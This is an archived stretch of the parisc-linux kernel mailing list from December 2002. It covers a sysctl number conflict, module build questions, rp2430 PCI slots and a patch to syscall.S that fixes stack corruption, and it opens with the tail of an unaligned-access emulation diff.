-		ret = emulate_load(regs, 2, (regs->iir>>16)&0x1f);
+		ret = emulate_ldh(regs, R2(regs->iir));
 		break;
 	case OPCODE_LDW_L:
-	case OPCODE_LDW_L2:
-		ret = emulate_load(regs, 4, (regs->iir>>16)&0x1f);
+	case OPCODE_LDWM:
+		ret = emulate_ldw(regs, R2(regs->iir));
 		break;
 	case OPCODE_STH_L:
-		ret = emulate_store(regs, 2, (regs->iir>>16)&0x1f);
+		ret = emulate_sth(regs, R2(regs->iir));
 		break;
 	case OPCODE_STW_L:
-	case OPCODE_STW_L2:
-		ret = emulate_store(regs, 4, (regs->iir>>16)&0x1f);
+	case OPCODE_STWM:
+		ret = emulate_stw(regs, R2(regs->iir));
 		break;
 	}
+	/* XXX LJ - need to handle float load/store */
+
+	if (modify)
+		regs->gr[R1(regs->iir)] = newbase;
+
 
 	if (ret < 0)
 		printk(KERN_CRIT "Not-handled unaligned insn 0x%08lx\n", regs->iir);
@@ -424,9 +730,9 @@
 			align_mask = 1UL;
 			break;
 		case OPCODE_LDW_L:
-		case OPCODE_LDW_L2:
+		case OPCODE_LDWM:
 		case OPCODE_STW_L:
-		case OPCODE_STW_L2:
+		case OPCODE_STWM:
 			align_mask = 3UL;
 			break;
 		}


From - Thu Nov 08 21:26:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4.21-pre2 : sysctl.h pb
Date: Fri, 20 Dec 2002 13:48:00 +0100
Lines: 49
Approved: news@gmane.org
Message-ID: <3E0085D0000004FA@ocpmta5.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622042 18846 80.91.229.3 (22 Nov 2014 02:07:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:22 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 20 05:48:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id EC5C44829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Dec 2002 05:48:17 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18PMZX-00016Y-00
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Dec 2002 13:48:11 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 20 Dec 2002 13:48:00 +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17165

Hi all,

Merging 2.4.21-pre2 with parisc tree, I notice the following the followin=
g
pb:
diff -urN linux-2.4.21-pre1/include/linux/sysctl.h linux-2.4.21-pre2/incl=
ude/linux/sysctl.h
--- linux-2.4.21-pre1/include/linux/sysctl.h    Thu Nov 28 15:53:15 2002
+++ linux-2.4.21-pre2/include/linux/sysctl.h    Wed Dec 18 14:16:28 2002
@@ -124,6 +124,7 @@
        KERN_CORE_USES_PID=3D52,          /* int: use core or core.%pid *=
/
        KERN_TAINTED=3D53,        /* int: various kernel tainted flags */=

        KERN_CADPID=3D54,         /* int: PID of the process to notify on=

CAD */
+       KERNhttp://webmail.tiscali.be/mail/MessageCompose?sid=3DF39CE574C=
27DDBCF1206D1BB891159045C80B6DB&userid=3Djsoe0708@tiscali.be&seq=3DC&auth=
=3D3WR5O5FJOCJG1FDS&style=3Dfrans&abcompose=3D0
:: envoyer_CORE_PATTERN=3D56,   /* string: pattern for core-files */
 };


into linux-2.4.21-pre1-pa15/include/linux/sysctl.h
        KERN_TAINTED=3D53,        /* int: various kernel tainted flags */=

        KERN_CADPID=3D54,         /* int: PID of the process to notify on=

CAD */
        KERN_HPPA_PWRSW=3D55,     /* int: hppa soft-power enable */
        KERN_HPPA_UNALIGNED=3D56, /* int: hppa unaligned-trap enable */
};
                            ^^^^ same as new KERN_CORE_PATTERN

What should I to do?

Joel



*************************************************************************=
*******
Controlez mieux votre consommation Internet...surfez Tiscali Complete...h=
ttp://tiscali.complete.be





From - Thu Nov 08 21:26:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] 2.4.21-pre2 : sysctl.h pb
Date: Fri, 20 Dec 2002 13:53:52 +0100
Lines: 50
Approved: news@gmane.org
Message-ID: <3E0085D000000500@ocpmta5.freegates.net>
References: <3E0085D0000004FA@ocpmta5.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622042 18851 80.91.229.3 (22 Nov 2014 02:07:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:22 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 20 05:54:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id EF2554848
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Dec 2002 05:54:08 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18PMfD-0002Mz-00
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Dec 2002 13:54:03 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 20 Dec 2002 13:53:52 +0100
In-Reply-To: <3E0085D0000004FA@ocpmta5.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17166

?? 

Actual mesage is:

Hi all,

Merging 2.4.21-pre2 with parisc tree, I notice the following the followin=
g
pb:
diff -urN linux-2.4.21-pre1/include/linux/sysctl.h linux-2.4.21-pre2/incl=
ude/linux/sysctl.h
--- linux-2.4.21-pre1/include/linux/sysctl.h    Thu Nov 28 15:53:15 2002
+++ linux-2.4.21-pre2/include/linux/sysctl.h    Wed Dec 18 14:16:28 2002
@@ -124,6 +124,7 @@
        KERN_CORE_USES_PID=3D52,          /* int: use core or core.%pid *=
/
        KERN_TAINTED=3D53,        /* int: various kernel tainted flags */=

        KERN_CADPID=3D54,         /* int: PID of the process to notify on=

CAD */
+       KERN_CORE_PATTERN=3D56,   /* string: pattern for core-files */
 };


into linux-2.4.21-pre1-pa15/include/linux/sysctl.h
        KERN_TAINTED=3D53,        /* int: various kernel tainted flags */=

        KERN_CADPID=3D54,         /* int: PID of the process to notify on=

CAD */
        KERN_HPPA_PWRSW=3D55,     /* int: hppa soft-power enable */
        KERN_HPPA_UNALIGNED=3D56, /* int: hppa unaligned-trap enable */
};
                            ^^^^ same as new KERN_CORE_PATTERN

What should I to do?

Sorry,
Joel


*************************************************************************=
*******
Controlez mieux votre consommation Internet...surfez Tiscali Complete...h=
ttp://tiscali.complete.be





From - Thu Nov 08 21:26:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.21-pre2 : sysctl.h pb
Date: Fri, 20 Dec 2002 07:20:34 -0800
Lines: 18
Approved: news@gmane.org
Message-ID: <20021220152034.GC31792@tausq.org>
References: <3E0085D0000004FA@ocpmta5.freegates.net> <3E0085D000000500@ocpmta5.freegates.net>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622043 18853 80.91.229.3 (22 Nov 2014 02:07:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 20 08:18:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id D93F14829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Dec 2002 08:18:05 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id AA6EDCD64C; Fri, 20 Dec 2002 07:20:34 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <3E0085D000000500@ocpmta5.freegates.net>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17167

> Merging 2.4.21-pre2 with parisc tree, I notice the following the following
> pb:

just bump the hppa numbers
>         KERN_HPPA_PWRSW=55,     /* int: hppa soft-power enable */
>         KERN_HPPA_UNALIGNED=56, /* int: hppa unaligned-trap enable */

make these 57, 58 or so

it seems a bit odd to me that the sysctl number space is not
partitioned, but... 

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:26:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.21-pre2 : sysctl.h pb
Date: Fri, 20 Dec 2002 17:52:22 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <3DED9BBD00002B9F@ocpmta7.freegates.net>
References: <20021220152034.GC31792@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622043 18856 80.91.229.3 (22 Nov 2014 02:07:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 20 09:53:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 371514829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Dec 2002 09:53:02 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18PQOM-0004hg-00; Fri, 20 Dec 2002 17:52:54 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 20 Dec 2002 16:52:22 +0000
In-Reply-To: <20021220152034.GC31792@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17168

Hi Randolph,

>> Merging 2.4.21-pre2 with parisc tree, I notice the following the follo=
wing
>> pb:
>
>just bump the hppa numbers
>>         KERN_HPPA_PWRSW=3D55,     /* int: hppa soft-power enable */
>>         KERN_HPPA_UNALIGNED=3D56, /* int: hppa unaligned-trap enable *=
/
>
>make these 57, 58 or so
>
>it seems a bit odd to me that the sysctl number space is not
>partitioned, but... 
>
Well I choose 57 and obtain a vmlinux.
But eventhought I used my config file I get this time a system which hung=

on my b2k at 'Search Devices...' and the green led stay continiously ligh=
t???
I will try to fix it next year :-))

Thanks for advise,
    Joel



********************************************
Promo Tiscali ADSL: 35 Euros/mois, 1er mois et activation =3D 0 Euro http=
://adsl.tiscali.be





From - Thu Nov 08 21:26:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] cvs & modules
Date: Fri, 20 Dec 2002 18:43:15 +0000 (UTC)
Lines: 15
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.44.0212201642110.647-100000@e0-0.zab2.int.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622043 18859 80.91.229.3 (22 Nov 2014 02:07:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:23 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 20 11:46:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from transport.cksoft.de (transport.cksoft.de [62.111.66.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8BE604829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Dec 2002 11:46:34 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by transport.cksoft.de (Postfix) with ESMTP id 503AF1FFF41
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Dec 2002 19:46:28 +0100 (CET)
Original-Received: by transport.cksoft.de (Postfix, from userid 66)
	id 937631FFF3A; Fri, 20 Dec 2002 19:46:27 +0100 (CET)
Original-Received: by mail.int.zabbadoz.net (Postfix, from userid 1060)
	id 2941215348; Fri, 20 Dec 2002 18:43:15 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.int.zabbadoz.net (Postfix) with ESMTP id E67381532D
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Dec 2002 18:43:15 +0000 (UTC)
X-X-Sender: bz@e0-0.zab2.int.zabbadoz.net
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17169

Hi,

is there a chance that 2.5.52 gets merged in the next days or does
anyone have a patch a hand to fix the kernel/*.ko modules problem ?

Couldn't find one from rusty that works with current parisc cvs :(
Getting undefined references...

Thanks.

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/



From - Thu Nov 08 21:26:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rp2430 questions
Date: Fri, 20 Dec 2002 13:22:08 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <20021220202208.GB13478@dsl2.external.hp.com>
References: <20021219020815.LKJS14518.web4-rme.xtra.co.nz@[127.0.0.1]>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622044 18861 80.91.229.3 (22 Nov 2014 02:07:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Gavin Hubbard <ghub005@xtra.co.nz>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 20 13:22:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 14DA54829; Fri, 20 Dec 2002 13:22:08 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20021219020815.LKJS14518.web4-rme.xtra.co.nz@[127.0.0.1]>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17170

On Thu, Dec 19, 2002 at 03:08:15PM +1300, Gavin Hubbard wrote:
> The other difference is the PCI controller support - the rp2430 has two
> working PCI slots and two disabled slots which are enabled by the upgrade.

ok. I didn't know that.

> Since I don't actually know how the device disabling is done in hardware,
> I'm not convinced that parisc-linux will come up smoothly after
> I install the upgrade (I'm not worried about HP-UX - it will be fine).

Well, if you really end up with the equivalent to an rp2470, then
I can assure you there is a kernel out there that will work since
that's what several developers are using (including myself).

> Can anyone shed light on this?

I suspect the rp2430 PDC simply doesn't report one (or two) of the
PCI bus controllers. Neither HPUX nor parisc-linux will see those slots.
Very simple to implement and requires no HW changes.

grant


From - Thu Nov 08 21:26:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.5 randomly kills applications with page faults
Date: Fri, 20 Dec 2002 16:12:37 -0600
Lines: 69
Approved: news@gmane.org
Message-ID: <200212202212.gBKMCbv08741@localhost.localdomain>
References: <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed ;
	boundary="==_Exmh_15075616400"
X-Trace: ger.gmane.org 1416622044 18863 80.91.229.3 (22 Nov 2014 02:07:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:24 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@SteelEye.com>,
	parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 20 15:12:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pogo.mtv1.steeleye.com (host194.steeleye.com [66.206.164.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id C57C84829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Dec 2002 15:12:58 -0700 (MST)
Original-Received: (from root@localhost)
	by pogo.mtv1.steeleye.com (8.9.3/8.9.3) id OAA12459
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Dec 2002 14:12:43 -0800
Original-Received: from localhost.localdomain (sshppp-200.mtv1.steeleye.com [172.16.1.200])
	by pogo.mtv1.steeleye.com (8.9.3/8.9.3) with ESMTP id OAA12322;
	Fri, 20 Dec 2002 14:12:39 -0800
Original-Received: from mulgrave (jejb@localhost)
	by localhost.localdomain (8.11.6/linuxconf) with ESMTP id gBKMCbv08741;
	Fri, 20 Dec 2002 16:12:38 -0600
X-Mailer: exmh version 2.4 06/23/2000 with nmh-1.0.4
In-Reply-To: Message from Randolph Chung <randolph@tausq.org> 
   of "Wed, 18 Dec 2002 09:02:55 PST." <20021218170254.GM19331@tausq.org> 
X-AntiVirus: scanned for viruses by AMaViS 0.2.1 (http://amavis.org/)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17171

This is a multipart MIME message.

--==_Exmh_15075616400
Content-Type: text/plain; charset=us-ascii

randolph@tausq.org said:
> that's what i thought too, so i went through entry.S as well to see
> what i can find. haven't found anything yet :( 

OK, I think I found the cause of this and the solution.

The cause is in syscall.S in linux_gateway_entry.  Some person (herinafter 
referred to as "the guilty party") added a patch to store the user stack on 
the kernel stack temporarily before stashing it correctly in the user pt_regs:

	STREG	%r1,0(%r30)			/* Stick r1 (usp) here for now */

The problem is that they forgot to increment the stack pointer.  Thus, if we 
take an interruption between this instruction and the corresponding retrieval, 
the value can be trashed.

The fix is simple: increment the stack pointer.  I chose 16 to preserve every 
alignment I can think of is that also safe for 64 bit?

With this fix, my system seems fairly solid.  It survives my bitkeeper and 
stress tests so far (about 30 min) previously it always collapsed within a few 
minutes.

James

P.S. After this little debug frenzy, I don't personally care if I ever see 
another line of parisc assembly again, so if another obscure register trashing 
problem turns up, my good deed is done...


James


--==_Exmh_15075616400
Content-Type: text/plain ; name="tmp.diff"; charset=us-ascii
Content-Description: tmp.diff
Content-Disposition: attachment; filename="tmp.diff"

===== arch/parisc/kernel/syscall.S 1.5 vs edited =====
--- 1.5/arch/parisc/kernel/syscall.S	Fri Nov 29 04:31:54 2002
+++ edited/arch/parisc/kernel/syscall.S	Fri Dec 20 15:46:40 2002
@@ -94,6 +94,7 @@
 
 	mtsp	%r0,%sr7			/* get kernel space into sr7 */
 	STREG	%r1,0(%r30)			/* Stick r1 (usp) here for now */
+	ldo	16(%r30),%r30
 	mfctl	%cr30,%r1			/*  get task ptr in %r1 */
 	LDREG	TI_TASK(%r1),%r1
 
@@ -104,7 +105,8 @@
 	   PSW value is stored.  This is needed for gdb and sys_ptrace. */
 	STREG	%r0,  TASK_PT_PSW(%r1)
 	STREG	%r2,  TASK_PT_GR2(%r1)		/* preserve rp */
-	LDREG	0(%r30), %r2			/* get users sp back */
+	LDREG	-16(%r30), %r2			/* get users sp back */
+	ldo	-16(%r30), %r30
 	STREG	%r2,  TASK_PT_GR30(%r1)		/* ... and save it */
 	STREG	%r19, TASK_PT_GR19(%r1)
 	STREG	%r20, TASK_PT_GR20(%r1)

--==_Exmh_15075616400--




From - Thu Nov 08 21:26:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.5 randomly kills applications with page faults
Date: Fri, 20 Dec 2002 17:19:28 -0500 (EST)
Lines: 16
Approved: news@gmane.org
Message-ID: <200212202219.gBKMJSJj022082@hiauly1.hia.nrc.ca>
References: <200212202212.gBKMCbv08741@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622044 18864 80.91.229.3 (22 Nov 2014 02:07:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:24 +0000 (UTC)
Cc: randolph@tausq.org, James.Bottomley@SteelEye.com,
	parisc-linux@lists.parisc-linux.org
To: James.Bottomley@SteelEye.com (James Bottomley)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 20 15:30:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5FE9E4829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Dec 2002 15:30:12 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gBKMJSot022083;
	Fri, 20 Dec 2002 17:19:29 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gBKMJSJj022082;
	Fri, 20 Dec 2002 17:19:28 -0500 (EST)
In-Reply-To: <200212202212.gBKMCbv08741@localhost.localdomain> from "James Bottomley" at Dec 20, 2002 04:12:37 pm
X-Mailer: ELM [version 2.4 PL25]
